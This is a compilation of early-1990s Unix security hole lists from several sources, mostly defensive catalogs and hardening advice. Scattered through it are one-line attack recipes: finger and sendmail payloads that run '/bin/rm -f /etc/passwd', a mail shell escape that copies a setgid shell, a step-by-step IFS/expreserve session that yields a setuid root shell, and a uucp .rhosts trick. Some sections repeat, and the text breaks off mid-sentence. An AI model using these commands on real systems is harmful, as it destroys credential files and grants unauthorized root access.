#HoleList #v1 - Wed Apr 7 13:38:08 MDT 1993 Operating System Description (References) ---------------- ------------------------ BSD 4.1 mail directly to a file () BSD 4.1 exec sgid program, dump core, core is sgid () BSD 4.1 lock -- compiled in password "hasta la vista" () BSD <4.2 IFS w/ preserve bug w/vi () BSD <4.2 suspend mkdir, ln file you want to dir () BSD 4.2 lock -- compiled in password "hasta la vista" () BSD 4.2 ln passwd file to mail spool, mail to user file () BSD 4.2 can truncate read only files () BSD 4.2 finger "string|/bin/rm -f /etc/passwd"@foo.bar () BSD 4.2 ln -s target ~/.plan; finger user to read file () BSD 4.2 lpr file; rm file; ln -s /any/filename file () BSD 4.2 adb su; change check in memory; shell out () BSD 4.2 race condition, can get root via "at" () BSD 4.3 ftp -n; quote user ftp; cd ~root, get root priv () BSD 4.3 lpd can overwrite file () BSD 4.3 ln -s /any/suid/file -i ; -i Get suid shell () BSD 4.3 fchown (2) can chown _any_ file () BSD 4.3 race condition (expreserve?), root via "at" () BSD 4.3 passwd chokes on long lines, splits pw file () 4.3 Tahoe chfn -- allows newlines, meta chars, bufsize () 4.3 Tahoe login ttyA&B;A:catzero's out passwd file () Ultrix 3.1- lpd can overwrite any file (back to 2.0?) () Ultrix 4.1- overflow Risc register buffer, get root w/ mail () Ultrix ? chfn -- allows newlines, meta chars, bufsize () Ultrix ? ftp -n; quote user ftp; ect Gets root privs () Ultrix ? can change host name, mount any filesystem () Ultrix ? uudecode alias can overwrite root/daemon files () SYSV ? IFS, other environment at "login:" prompt () SYSV 4 write to files; race condition using mkdir & ln () SYSV 4- expreserve problem/race condition () IRIX rsh -l "" runs as root () Stellix 2.0 rsh -l "" runs as root () IRIX ? login: -r hostname ruser^@luser^@term^@ () DYNIX ? login: -r hostname ruser^@luser^@term^@ () IRIX ? login: -r hostname ruser^@luser^@term^@ () HPUX 7.0 chfn -- allows newlines, etc () HPUX 7.0- chfn -- allows newlines, etc (new bug) () Domain/OS <10.3 break root by using s/rbak; setgid/uid () Amdahl UTS 2.0 NFS mountd only uses hostname as authentication () SCO ? rlogin to any acct from trusted host w/o passwd () BellTech SYSV/386 ulimit 0; passwd ==> zero's out passwd file () Microport 3.0 ulimit 0; passwd ==> zero's out passwd file () SunOS < 4.0 any user can run yp server () SunOS 4.01 ypbind/ypserv, SunOS 4.01; need 3 machines () SunOS 4.03 ypbind/ypserv, SunOS 4.01; need 3 machines () SunOS 4.03 concurrent yppasswd sessions can trash yp map () SunOS 4.0.3 ypserv sends maps to anyone who has domainame (ypsnarf) Ultrix 3.1 ? allows newlines, meta chars, buffsize problem () Ultrix ? yppasswd leaves yp data files world writable () Ultrix ypbind takes ypset from all; anyone can play yp DB server () BSD 4.1 Sendmail: can mail directly to a file () SunOS 4.03 Sendmail: can mail directly to a file () Sendmail <=5.61 can mail to any file not root owned, have to try twice () 5.61 Sendmail: groups incorrectly checked, can get any group () SunOs 4.1 Sendmail: groups incorrectly checked, can get any group () Ultrix 2.2 Sendmail: -C file ==> displays any file () DYNIX 3.0.14 Sendmail: -C file ==> displays any file () Ultrix 2.0? Sendmail: versions 1.2&13.1 sm, -oQ > can read/write any () HP_UX Sendmail: versions 1.2&13.1 sm, -oQ > can read/write any () Sendmnail < 5.57 from:<"|/bin/rm /etc/passwd"> && bounce mail... () IRIX 3.3/3.31 Sendmail: any user can read any other user's mail () ? wiz; shell get root shell () X11R ? snoop on keyboards and bitmaps () X11R3-4 can set log on, execute commands (fixed in "fix-6") () Sun 4.03 uucico can show ph num, login, passwd, on remote machine () SunOS icmp errors not handled correctly; log off users remotely () Ultrix icmp errors not handled correctly; log off users remotely () SunOS emacsclient/server allows access to files () Ultrix emacsclient/server allows access to files () ========= GENERAL ========= 1. Do not allow usernames to contain any of the following characters ";~!`" (or any shell meta-charaters). This allows setuid root programs that popen to be spoofed. 2. Never allow a setuid to root program to send a mail message that the user creates to either the Berkeley mailer or mailx. All a user has to do to break root is to send a line such as: ~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell escape to be executed if the line starts in column one of stdout while entering the message text. 3. Most security holes in UNIX are related to incorrect setting of directory and file permissions or race conditions in the kernel that allow setuid programs to be exploited. All non-standard setuid programs should be examined. 4. Many systems can be compromised with NFS/RPC. A skilled RPC writer can break security relatively easily. MIT's PROJECT ATHENA came up with Kerberos to address these problems, networks are usually very insecure. 5. The mount command should not be executeable by ordinary users. A setuid program on a mountable disk is NOT TO BE TRUSTED. 6. Systems that allow read-only mounting of foriegn disk are a security hole. Setuid programs are normally honored. This allows a person who has root access on a foriegn machine to break it on another. 7. Expreserve can be a huge hole (see the following) /dev/fb the frame buffer devices on at least suns are world readable/writeable, which is at best annoying (when someone runs something strange on you) and at worst insecure (since someone can take a snapshot of your screen via screenload or whatnot) /dev/*st*, *mt*, etc (tape devices) generally world readable/writeable, bad since others can nuke your tapes, read your backups, etc. chfn, chsh used to create a root account core will system dump a setgid core image? domain name system a sysadmin running the soa for a domain somewhere can create a bugs reverse address mapping table for one of his hosts that causes its IP address to have the domain name of a machine that my host has in its hosts.equiv file. if i'm using the usual version of 'istrusted' (I think that's the routine's name), the address lookup reveals the name of the host to be one that my host trusts, and this other sysadmin can rlogin into my machine or rsh or whatnot at will. fchown test for bad group test ftruncate can be used to change major/minor numbers on devices fingerd hard .plan links - reading unreadable files readable by user(fingerd) setuid, .plan links running as root (fingerd_test.sh) buffer overrun file mod test. test of file does not loose the setuid bit when modified ftp ftpd static passwd struct overwrite 4.2 based bug, userid not reset properly, (after logging in enter comment "user root" and you are, last seen onder SunOS 3.3?). overwrite stack somehow? hosts.equiv default + entry istrusted routine - easy to spoof by bad SOA at remote site with hacked reverse address map. lock 4.1bsd version had the password "hasta la vista" as a builtin trapdoor. (found in ultrix) lost+found, fsck lost+found should be mode 700, else others might see private files. lpd its possible to ovberwrite files with root authority with user level access locally or remotely if you have local root access lpr lpr -r access testing problem lprm trusts utmp passwd fgets use allows long entries which will be mangled into ::0:0::: entries also allows: fred:...:...:...:Fred ....Flintstone::/bin/sh => fred:...:...:...:Fred..... Flintstone::/bin/sh which is a root entry with no password! fix - should skip to eol if it didn't read whole entry, should enforce buffer limits on text in file, don't use atoi (since atoi(/bin/sh) is 0). portmap allows other net entities to make bindings - may not be a "security hole", can lead to denial of service. rcp nobody problem rexd existence rwall,comsat running as root, utmp world writeable, writes to files as well as devices in utmp dev fields. rdist - buffer overflow selection_svc allowed remote access to files sendmail debug option wizard mode TURN command allows mail to be stolen decode mail alias - anyone can send mail to decode, write to any file onwed by daemon, if they can connect to sendmail daemon, can write to any file owned by any user. overflow input buffer cause the sendmail deamon to lock up overwrite files sendmail can be "tricked" into delivering mail into any file but those own my root. -oQ (different Q) fixed in newer versions mqueue must not be mode 777! what uid does |program run with? sendmail -bt -C/usr/spool/mail/user - in old versions, allows you to see all lines of the file. setuid bit handling setuid/setgid bit should be dropped if a file is modified fix: kernel changes setuid scripts there are several problems with setuid scripts. is it worth writing tests for these? some systems might have fixed some of the holes - does anyone know how one fixes these problems in a proactive fashion? sh IFS hole (used with vi, anything else?) su overwrite stack somehow? tcp/ip sequence number prediction makes host spoofing easier source routing make host spoofing easier rip allows one to capture traffic more easily various icmp attacks possible (I suspect a traceroute'd kernel will allow one to easily dump packets onto the ethernet) tftp allows one to grab random files (eg, /etc/passwd). fix - should do a chroot allows puts as well as gets, no chroot fix - don't run as root, use chroot, no puts, only if boot server. utmp check to see if world writeable (if so, the data can't be trusted, although some programs are written as though they trust the data (comsat, rwalld)). uucp check if valid uucp accounts are in the /etc/ftpusers. If the shell is uucico and passwd is valid make sure it is listed in ftpusers. check to see that uucp accounts have shell: if left off, folks can do: cat >x myhost myname ^D uucp x ~uucp/.rhosts rsh myhost -l uucp sh -i HDB nostrangers shell escape HDB changing the owner of set uid/gid files HDB meta escapes on the X command line HDB ; breaks on the X line uudecode if it is setuid, some versions will create setuid files ypbind accepts ypset from anyone (can create own ypserv and data, and ypset to it...) ypserv spoofing send lots of bogus replies to a request for root's passwd entry, while doing something that would generate such a request [I'm pretty sure that this is possible, but haven't tried it.] AIX * password means use root's password? AIX 2.2.1 shadow password file (/etc/security/passwd) world writeable fix - chmod 600... 386i login fix - nuke logintool, hack on login with adb, chmod 2750 ultrix 3.0 login login -P progname allows one to run random programs as root. fix - chmod 2750. xhost: if access access control is disabled any one can connect to a X display it is possible and create (forge) and/or intercept keystrokes. ========= GENERAL ========= 1. Do not allow usernames to contain any of the following characters ";~!`" (or any shell meta-charaters). This allows setuid root programs that popen to be spoofed. 2. Never allow a setuid to root program to send a mail message that the user creates to either the Berkeley mailer or mailx. All a user has to do to break root is to send a line such as: ~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell escape to be executed if the line starts in column one of stdout while entering the message text. 3. Most security holes in UNIX are related to incorrect setting of directory and file permissions or race conditions in the kernel that allow setuid programs to be exploited. All non-standard setuid programs should be examined. 4. Many systems can be compromised with NFS/RPC. A skilled RPC writer can break security relatively easily. MIT's PROJECT ATHENA came up with Kerberos to address these problems, networks are usually very insecure. 5. The mount command should not be executeable by ordinary users. A setuid program on a mountable disk is NOT TO BE TRUSTED. 6. Systems that allow read-only mounting of foriegn disk are a security hole. Setuid programs are normally honored. This allows a person who has root access on a foriegn machine to break it on another. 7. Expreserve can be a huge hole (see the following) ================================== BSD 4.2 and earlier BSD releases ================================== The following is a security hole that exists in the BSD 4.2 flavors of UNIX. This bug is associated with /usr/lib/expreserve being setuid to root and the shells IFS (internal field seperator) variable. Expreserve executes a line such as: if ((fp = popen("/bin/mail USER", "w")) != NULL) { ... The implementation of popen(3C) has an exec(2) call of the form: execl("/bin/sh", "sh", "-c", POPEN_ARG_1, (char *) 0); what this does is the /bin/sh telling to to run command such as sh -c "/bin/mail USER" where SHELL is running with an effective user id of root. The change of IFS caused shell to parse the command as "bin mail USER" and executes the shell script "bin" in the current directory which copies a version of the C shell and makes it setuid to root. The SIGHUP to ex(1) causes expreserve to be invoked to preserve the user's editing session and send the user mail telling him that a copy of his buffer was saved, etc, etc. The fix was accomplished by not having the sh do $IFS processing to the argument following a "-c" option. % mkdir $$; cd $$ % touch bin ; chmod a+rx bin %set path=(. $path) % cat > bin << END-O-FILE #!/bin/csh -f setenv IFS' ^I' /bin/cp /bin/csh . /bin/chmod u+s csh END-O-FILE % setenv IFS / % ex bin "bin" LLL lines CCC characters :s/c/cc/ #!/bin/ccsh -f :stop [1] + Stoppedex bin % kill -HUP %ex % wait %ls -l csh -rwsr-xr-x 1 root78848 Jan 7 1986 csh* % ./csh #This works only on 4.2BSD, was fixed in 4.3BSD. ================================= SYS V and earlier AT&T releases ================================= The following will work work on SVR2 (USG) and earlier AT&T release, as long as you can create a file on the same file system as /etc/passwd. There is a race condition in /bin/mkdir [mkdir(1)] which first mknod(2)s the directory then chown(2)s the directory to the real uid of the process: if (mknod(dir, S_IFDIR | 0777) == 0) chown(dir, getuid(), getgid()); if there is a context switch after the mknod(2) call and the parent process unlink(2)s the node and creates the link before the mkdir process runs again then the /bin/mkdir chown(2)s the link to be owned by you. On many systems /tmp is on the same file system as /. Otherwise other files need to be located that can be compromised. This is caused by the lack of a mkdir system call. If /bin/mkdir is setuid to root then this should work. Assuming /tmp is on the same file system as /etc then one could that would be invoked like the following: breakdir /etc/passwd /tmp/foo and would change your uid to root. ================= SVR.0 to SVR3.2 ================= Several at(1)s have an extremely nasty bug. Cron(1) which run atjobs runs setuid to root. Normally the atjobs are stored in /usr/spool/cron/atjobs. There it creates a file owned by the atjob submitter. On many systems /usr/spool/cron/atjobs is mode drwxr-xr-x and allows a normal user to chdir(2) to that directory. Many System V crons determine what uid to run the atjob by the file's owner. Breaking security can be as simple as cding to cron and change the owner of an atjob you submitted to root. Alternatively, an atjob that submits another atjob on some systems will run as root (I don't know why). =============================================== BSD 4.3 AND EARLIER SYSV SUNOS (SOMETIMES) =============================================== Well folks: I have found a rather barbaric race condition in expreserve that allows the setuid program to be compromised by changing the permissions of a file. This bug exists in all expreserves up to and including Berkeley 4.3. (well not quite). On all System V and earlier releases this works. Under System V expreserve places the Ex temp file in the directory: /usr/preserve/$USER and under the Berkeley releases it places them under either: /usr/preserve or /var/preserve (SUN0S 4.X) This "feature" will definitely allow security to be breached on all standard System Vs (non-secured) and all Berkeley-ish systems that have /usr/preserve writeable by the user (Note: SUNOS has this directory UNWRITEABLE). The System V bug was relatively unavoidable (until SVR4) but the Berkeley bug should have been fixed as soon as the fchown(2) system call was added to BSD. Basically the "hole" is that expreserve does: fd = creat("/usr/preserve/Exaaa$PID, 0600); chown("/usr/preserve/Exaaa$PID, real_uid, real_gid); when it should do a: fd = creat("/usr/preserve/Exaaa$PID, 0600); fchown(fd, real_uid, real_gid); which avoids the race (it changes the permission on the inode that was creat(2)ed and not the inode whose name is /usr/preserve/Exaaa$PID). The previous examples are actually simplified as expreserve actually looks at the uid and gid as stored in the /tmp/Ex$PID file and compares them to the getuid() and getgid() return values. The actual "race" is that a context switch may occur between the creat(2) and chown(2) in expreserve that allows another process with write permission to the target directory to unlink(2) the creat(2)ed file and place a hard link to another file by that name in the target directory, which expreserve subsequentlies chown(2)s to your uid. This "feature" allows any file on the same device to be owned by you. From my reading on symbolic links, this should also work with symlinks BUT DOES NOT atleast under SUNOS 4.X and HPUX. According to my 4.3BSD Programmer's Reference Manual chown(2) SHOULD change the permissions on the file pointed to by the symlink as one of its failure conditions is: [ELOOP] Too many symbolic links were encountered in translating the pathname. This implies to me that a chown(2) on a symbolic link should chown(2) the file pointed at by the link, but under SUNOS4.X and HPUX (A.B2.10) it changes the permission on the symbolic link (funny, I thought symlinks were always mode lrwxrwxrwx). Both man pages for SUNOS and HPUX also include the ELOOP failure condition for chown(2). This bug is usable to place trojan horse in ``trusted'' directories [(e.g.) /usr/bin]. The trojan horse I would place there is a program that fork(2)s and exec(2)s a program giving me a setuid to root shell if the euid is equal to root and then execs the real program and then restores everything to what it was. The procedure for utilizing this bug is to create a VALID non-zero length /tmp/Ex$PID file and copy it the the directory were the cracking program is located under the name "data". To do this edit a junk file, make some changes and escape to a shell and check the /tmp directory for a non-zero length Ex$PID file owned by you, copy it to the cracking directory and run the program that follows. Note: This program needs to be modified to run under System V to support /usr/preserve/$USER/Exaaa$PID targets, it has been tested under SUNOS 4.X and HPUX. I haven't had time to modify it yet, but it will definitely work under System V. There are four ways to gain unauthorized (root) privileges: - Knowing a (root) password. This should be easy to prevent. - Using setuid programs. Even in case of configuration errors, like mode 666 on the passwd file, unauthorized privileges are granted by (system) suid programs like login, passwd, etc. - Bad system calls. This was an issue in older versions. For instance, setgid(-1) did strange things on some old UNIX versions. This doesn't really happen anymore. - Fooling daemons running as root. This is the largest problem. Editing the crontab, playing with sendmail falls under this category, but also the network can be misused. For instance, you can write a program that talks to ypserv, or nfsd, or anything. Also, daemons use configuration files, which shouldn't be readable. Most security violations occur due to bad file protections, exploited with normal commands, not C source code. Another problem is old or bugged programs, in particular (2) setuid programs and (4) daemons. Most hackers don't use source code, but I think if a hacker uses source to exploit a problem, it'll be impossible to find a search pattern that can deterministically state if a program is good or bad. it was a bug for _years_ in the ftp server. bsd4.2 had it. and 4.3 Bug reference sheet Comfirmations, additions, changes to: df@cert.sei.cmu.edu Last change made: Dec 12, 1990 4.X BSD Version problem --------------------- 4.1 can mail directly to a file run set gid program, dump core, is set gid of owner lock -- compiled in password "hasta la vista", plus can ^Z Pre 4.2? IFS w. preserve bug in vi suspend mkdir, ln file you want to dir, you own file 4.2 lock -- compiled in password "hasta la vista" ln passwd file to mail spool, mail to user ==> file can truncate read only files finger "string | /bin/rm -f /etc/passwd"@foo.bar ln -s target ~/.plan; finger user to read any file. lpr file; rm file; ln -s /any/filename file ==> prints file adb su; change check in memory; shell out; su ==> root. race condition, can get root via "at" 4.3 ftp -n; quote user ftp; ect. Gets root privs. lpd can overwrite file ln -s /any/suid/file -i ; -i Get suid shell. fchown (2) can chown _any_ file race condition (expreserve?), can get root via "at" passwd chokes on long lines, splits pw file ==> root access 4.3 Tahoe chfn -- allows newlines, meta chars, bufsize problem login ttyA&B; A:cat file can get root on host running (some) NFS from a root account on a non-trusted host due to bug in mount daemon (DYNIX 3.? also) 3.0 lock -- compiled in password "hasta la vista" any user can mount any filesystem login can run any program with root privs X11 doesn't clear passwords in memory; /dev/mem is world readable. ln -s target ~/.plan; finger user to read any file. 3.1- limit file 0; passwd ==> zero's out passwd file lpd can overwrite any file (back to 2.0?) 4.1- overflow Risc register buffer, get root through mail. ? chfn -- allows newlines, meta chars, bufsize problem ftp -n; quote user ftp; ect. Gets root privs. can change host name, mount any filesystem uudecode alias can overwrite root/daemon owned files 3.1? rshd -- spoof via nameservice, rsh target -l uid System V Version problem --------------------- ? can set IFS, other environment at "login:" prompt SVR4- expreserve problem/race condition. pre SVR4 write to files; race condition using mkdir & ln SGI (Iris?), MIPS, Steller --------------------------- Stellix 2.0 rsh -l "" runs as root RISC/os 4.51, DYNIX Stellix 2.1 login: -r hostname ruser^@luser^@term^@ HP-UX Version problem -------------------- 7.0- chfn -- allows newlines, etc. Different bug with 7.0. Apollo Version problem -------------------- 10.x(max10.3)break root by using s/rbak; problem is in setgid/uid Amdahl UTS Version problem -------------------- 2.0 NFS mountd only uses hostname as authentication; easy to spoof. SCO Version problem --------------------- ? can rlogin to any acct (root, etc.) to trusted host w/o password Bell tech sys V/386 -------------------- Microport 3.0 ulimit 0; passwd ==> zero's out passwd file YP --------------------- Pre 4.0 any user can run yp server 4.01/4.03 ypbind/ypserv, SunOS 4.01; need 3 machines 4.03 concurrent yppasswd sessions can trash yp passwd map ypserv will send maps to anyone who can guess the domainame Ultrix3.1/? allows newlines, meta chars, buffsize problem ? yppasswd leaves yp data files world writable ypbind takes ypset from all; anyone can say they are yp DB server. Sendmail --------------------- 4.1 BSD can mail directly to a file Sun 4.03, <=5.61 can mail to any file not root owned, have to try twice 5.61, 4.1Sun, lots others? groups incorrectly checked, can get any group Ultrix 2.2, DYNIX 3.0.14 -C file ==> displays any file. Ultrix 2.0? HP_UX versions 1.2&13.1 sm, -oQ ==> can read/write any file < 5.57 from:<"|/bin/rm /etc/passwd"> && bounce mail.... IRIX 3.3/3.31 any user can read any other user's mail. ? wiz; shell get root shell X --------------------- X11R? snoop on keyboards and bitmaps. X11R3-4 can set log on, execute commands (fixed in "fix-6") UUCP --------------------- Sun 4.03 uucico can show ph num, login, passwd, on remote machine. TCP/IP --------------------- icmperror errors not handled correctly; log off users remotely. Misc --------------------- Gnuemacs emacsclient/server allows access to files. I still need to type 2 more of these in, for now see what you can add to them. ================ ULTRIX.LST Mike Burrows - burrows@src.dec.com 8/88 Berkeley (4.2, maybe also 4.3 + sun + ultrix) ======== You can get a root shell from a standard sendmail by typing a wizard password (wiz?) and "shell" (fixed after 4.2?) Chfn, chsh rename their tmp(=lock) files to /etc/passwd before fflushing() so there is a window when the passwd file is null and unlocked. Running one right after another zaps the passwd file if it hits the timing hole. chfn allows you to put massive field in in passwd file which breaks getpwent() passwd(1) leaves the passwd file locked if the user sets a file size limit before running the programme. passwd(1), chfn, chsh etc don't detect corrupt pw entries they add new ones - particularly ones with a null name, passwd and zero uid -> su "" works without password. lpr will print any file if you use the -s flag (can't copy) and then rename file. (fixed in 4.3) lpr will remove any file in / with the -r option (luckily won't remove unix image because it refuses to print an a.out) ptrace modifies shared text. You can modify the text of any readable binary in-core. This allows immediate breakin with suid progs by writing short C prog. Even just using adb, you can set break points to stop any one using a given programme. vi runs expreserve when HUPed. expreserve is suid and it runs sh -c "bin/mail..." or similar. Fun with IFS=. I have seen this on lots of systems. 4.2+ultrix systems (suns too?) have /dev/kmem and /dev/mem readable!!! == open system They even provide an unprivileged utility to core dump other processes. (you just recompile it with a security check removed, or patch the binary) ioctl (TIOCSTI) - simulate terminal input on controlling tty - fine, but you can set your controlling tty to be anything after using ioctl (TIOCNOTTY) (fixed in 4.3) You can send SIGINT, SIGHUP, SIGQUIT and SIGTSTP to any process on the system by changing your tty process group to the group of the target process and hitting intr, logging out, hitting quit or hitting susp. (fixed in 4.3??) On the sun (and other system with window displays?) /etc/utmp is publicly writable, so the window system can put the pty in it. This makes it easy to fake your userid on anything that believes getlogin(3) suid shell scripts will run the .profile file if you make a link to them with name - suid shell scripts should NEVER be allowed for other reasons anyway e.g. IFS=. Similarly with csh. In ultrix, the physical ethernet address of a machine can be changed by any user. -> denial of service. Berkeley network security is based on "reserved ports" - therefore, this is trivial to break if you have your own workstation vhangup system call is meant to disconnect all processes from current controle terminal. However, they can reopen the terminal as /dev/tty even if the tty permissions have changed since their controle tty is not zeroed. most suid programmes don't expect resource usage signals, timeout signals. Other systems, generic and general bugs ======================================= Some versions of uusend call "uux" on the PATH while suid to root. Some news receivers execute shell commands sent down the news feed. In NFS, exec permission is equivalent to read. In general, NFS protection is lousy. Over an ethernet, it is non-existent. (it took 10 minutes work for one of our undergraduates to understand, construct, and send a packet to delete a file using NFS) Information/guest logins release userids Users can write a trojan horse ls/su programme Fixes: 1) change default PATH to /bin:/usr/bin:. 2) fix shell so it won't exec from a relative path unless directory is not writable by other users 3) important progs like "su" could require argv[0] to be /bin/su Bogus getty/login. Fixes: 1) all lines should come in over a network interface to a port that cannot be accessed by anyone but root. 2) terminal driver should have a hardwired escape (e.g. line break) that always zaps all processes with the terminal open. (see vhangup above) Idle logout helps things a little insecure reboot (fix is to use a 3b2? - pity the 3b2 is unusable) have single user mode spawn /bin/login? Many daemon and/or support programmes are insecure when invoked directly by the user. Often mail can be forged this way. Fix is to stop normal users exec'ing such progs. Some root suid programmes dont have to be suid to root but are. Many mail systems keep user mail files readable by other users. They also keep temp files readable by others. Passwords should be significant to longer than eight characters, or passwd should warn about characters being lost. system(3) and popen(3) should NEVER be called by suid programmes or programmes that are ever called by suid programmes. Even versions of system(3) that say setuid(getuid()) have lots of holes (the programme doesn't give its uid to a random programme, but it is acting on information given to it by a random programme) Some versions of rmdir are broken on systems without a rmdir syscall. Allows you to remove .. (was on the net with bugfix) (similar problems with rm -r?? mv?? mvdir script?) crypt(1) is too weak to be trusted by anyone. An average CS student can break it. The manual should say so. A better encryption scheme should be provided (Wheeler encryption is faster in software but more secure) Most systems have tty's generally writable. Write should be suid and should not allow arbitrary controle characters. It should also be possible for a user to force a write to him to die (cf hanging up the phone) Even console should not be generally writable - all logging should not block. Otherwise, e.g. a user can make the console run out of paper, or can send it interesting controle codes. getlogin(3) ttyslot(3) ttyname(3) don't find/use controlling terminal. They use stdin instead. They are sometimes used for security checks => useless security check. Lots of "denial of service" bugs due to lax resource allocation. It's easy to hog the processor, memory, disc, tty bandwidth Advisory locks have no seperate permissions bits. Easy to lock out any daemon that uses them. All files used for locking should not have read or write permission for "others" Most suid programmes don't expect to get filesize limit signals, SIGALRMs. ================ KNOWN SECURITY HOLES ON UNIX SYSTEMS HP CONFIDENTIAL! LAST UPDATED 850312 List collected by Alan Silverstein. All security problems listed are correctable on site unless noted with "S" (sensitive) in the left margin. (In "sanitized" versions of this list, all such lines are removed.) If this list is incomplete, please send me additions or corrections. This is a "sanitized" list, also generalized from HPUX to generic UNIX. BASIC PRINCIPLES OF GOOD SECURITY: * Physical control of equipment. * Management committment to security. * Employee education on what is expected of them. * Administrative procedures designed to increase security. * Concealment alone is not security. * Better to know you are not secure, than falsely think you are. * HARDWARE: Anyone who can connect the root disc to another system and mount it can break security. Anyone who can mount a personal volume on the local system can do the same. If init state 1 starts any shells without going through login, anyone who reboots the system can be super-user. Solution: Physical security, no removable mass storage volumes (or protected mount(1) command), and an init state 1 which requires login. * FILE SYSTEM: Sloppy ownerships/permissions are a common problem, particularly on special files. Solutions: Be sure the filesystem is generally secure. Special files like /dev/mem, /dev/kmem, and /dev/rhd should not even be readable except by super-user. Use a default umask of 022 (see sh(1)) so new files are not writable except by the owner. * ROOT DIRECTORY: It must be 555 (unwritable), owned by root. If unprotected, any user can move /etc and create their own /etc/passwd file (and so on). Solution: Protect root directory. Comment: Pre-4.0 versions of sdfinit(8) (Series 500 only) left new volumes set to 777. It's necessary to do "ls -ld /" to check this. * PUBLIC DIRECTORIES: In general, most of them must be owned by root, other, and set to be unwritable. In particular /etc, /usr, /usr/lib, and the super-user's login directory are sensitive due to system config and .profile files there. Solution: Deny write access to public directories except where the need exists (such as /tmp). * CONFIGURATION FILES: Certain files must be owned by root (or package owners, like news or lp) and unwritable by the public, including /etc/inittab, /etc/rc, /etc/passwd, /etc/group, /etc/profile, /usr/lib/crontab, and the super-user's .profile. Solution: Deny access to sensitive files except where the need exists. * COMMAND PATHS: Shell scripts, and programs which use exec(2), may be violated by Trojan horses when run by the super-user or other users. In particular, a user might call a setuid program with a bogus PATH variable exported. Solution: All shell scripts and certain programs should set their own PATH before running any commands, or use explicit (absolute) paths, and/or require that they themselves are invoked using absolute paths (like /bin/su). * PRIVILEGED-USER PATHS: If the super-user's (or any user's) PATH variable includes "." or a null field (for "current directory"), and the user changes to a non-secure directory, he might unknowingly run a Trojan horse program named the same as a standard command. This program might create a setuid/setgid shell and then remove itself. Solutions: Avoid "current directory" in $PATH. Some commands should require that they be in invoked with absolute paths. Keep the file system sufficiently secure that non-privileged users cannot plant Trojan horses in libraries or commands. Comment: One possibility is to have the shell check the ownership of files before running them. If a command is found in a directory in PATH which does not start with "/", and if it is not owned by the user who is trying to run it, give an error (forcing the user to type "./" to run it). * SETUID (SUID) COMMANDS: Programs owned by root (or a privileged group) and set to run as super-user (or other users or groups) can lead to trouble by allowing shell escape to privileged shells, appending to protected files, dumping writable, setuid core files, etc. In particular, mount(1) is dangerous to set to 4555 if the system has a removable mass storage device, as users can mount volumes containing super-user shells. Solution: Minimize use of setuid/setgid. Deny access to setuid/setgid programs except where the need exists and the program has been checked for holes. Be sure all setuid/setgid commands are not writable. Be able to account for all setuid/setgid programs on the system (and/or check for them periodically). Programs must do setuid(getuid()) and setgid(getgid()) before doing a shell escape. Chown(2) must turn off set bits when ownership is changed. * SETUID (SUID) SCRIPTS: Files which begin with "#! command", for direct execution of command by exec(2), and which are setuid or setgid, may be tricked through unforeseen side effects of running "command". For example, if the script is a readable shell script ("#! /bin/sh"), it can be linked by anyone to a file named "-sh", or merely exec'd with an arg1 of "-sh". The shell runs setuid, but the leading "-" in the name causes it to read /etc/profile, and (worse) the user's .profile, when starting up. (On BSD4.2, if the name is "-", you get an interactive prompt.) Solutions: Disallow setuid/setgid script execution by exec(2), or disallow linking to such files (is this sufficient?), or modify all potentially scripted commands to avoid this problem. (Note: Only commands which understand "#"-style comments are even candidates for scripting.) * TERMINAL ACCESS: An unattended, logged-in terminal is asking for trouble. A terminal whose special file is readable by other users is subject to having data stolen. Solutions: Log out or lock (using internal command lock(1)) any terminal not in use. Do not make your terminal's special file readable by the public. * "PARKED" TROJAN HORSES: In addition to libraries or commands left in a file system where a privileged user/group might accidentally use them, pirates can leave programs running on "idle" terminals which simulate login, su, or other commands. Solution: Don't trust an idle terminal. Especially, don't fall for an obvious swindle, such as "Login incorrect" or "}ls: not found" when you think you did not mistype. Be sure the login command in particular is not generally executable, so login emulators must "fail login". * DIAL-IN ACCESS: Dial-in lines are potential holes. Solutions: Keep phone numbers as private as possible. Set getty to hang up in a short time. Add "external security" passwords to getty (rewrite it). Limit logins on external lines by using /etc/securetty. Use new logging features of login(1). * ALL USERS HAVE PASSWORDS: Any user without a password is subject to having another user login or su to their identity. Solution: Insure that all users have passwords, even pseudo-users like "who" and "sync", just in case su -c allows dangerous actions. If necessary, put "*" in the password field in /etc/passwd to make it impossible to login or su to that user. Or, deny access to the su command. * ALL GROUPS ARE SECURE: The newgrp command allows changing group identity in a manner similar to su, except that if a group has no password, only users in the group's list can newgrp to it. Solution: Insure that all groups have correct user lists, and/or all groups have dummy ("*") or real passwords, and/or disable the newgrp command. (Putting a real password on a group opens it up to anyone, which can actually reduce security.) * GOOD PASSWORDS USED: Bad passwords can lead to easy violation of security. Solutions: Don't use permutations of username, nor people's real names, nor easy-to-guess personal data. Use long passwords not in any dictionary; mix in uppercase, digits, and other characters. Don't re-use old passwords. Change passwords periodically. Educate system users. Also, do not disable accounts after N bad login attempts; this just makes it easier for pirates to lock out system administrators. Comments: System V.2 passwd(1) improves the situation. Do NOT use the password timeout facility (see passwd(1)) because (1) it leads to fast selection of bad passwords, (2) it leaves users unable to change again fast, (3) users still only need to have two different passwords, and (4) pirates can easily find abandoned accounts. * HIDE PASSWORDS: Pirates are at an advantage if they can copy your password file and it contains valid (encrypted) passwords. Solutions: Make it impossible to copy it with uucp. Keep real passwords in a different file and put fake ones in /etc/passwd (but this requires changes to many system libraries and commands, so probably should not be attempted on-site; it should be standardized). * RSH: Restricted shells are impossible to do completely right. Solution: Use them as a deterrent on accounts where needed but do not depend on them alone to guarantee security. * CHROOT: The chroot(1) command and chroot(2) system call are normally executable by super-user only. If an ordinary user could chroot to a sub-file-system, they could create a small directory structure with a dummy /etc/passwd, make a copy of /bin/su and /bin/sh therein, chroot, su, then make the copy of sh setuid to super-user for later use. Solution: Restrict access to the chroot command. Make all setuid/setgid programs, such as su, unreadable (which does not, unfortunately, prevent linking to them). * CRONTAB: The path to /usr/lib/crontab must be secure, and the file itself, plus all parts of the paths to all files it invokes, including the files themselves, plus all files they in turn invoke. All such files (scripts or programs) are run by cron as super-user, so they must not be replaceable by Trojan horses. Solutions: Check crontab very carefully on occasion. Keep it unreadable by the public. Use su -c (and/or newgrp) in crontab before running commands (e.g. 'exec su news -c "exec notedemon.day"'), so as to minimize processes run automatically as root, or do not run cron at all (unlikely). Comment: A shell script (cronck) exists which helps do a limited check on crontab. * AT(1) COMMAND: The at command is easy 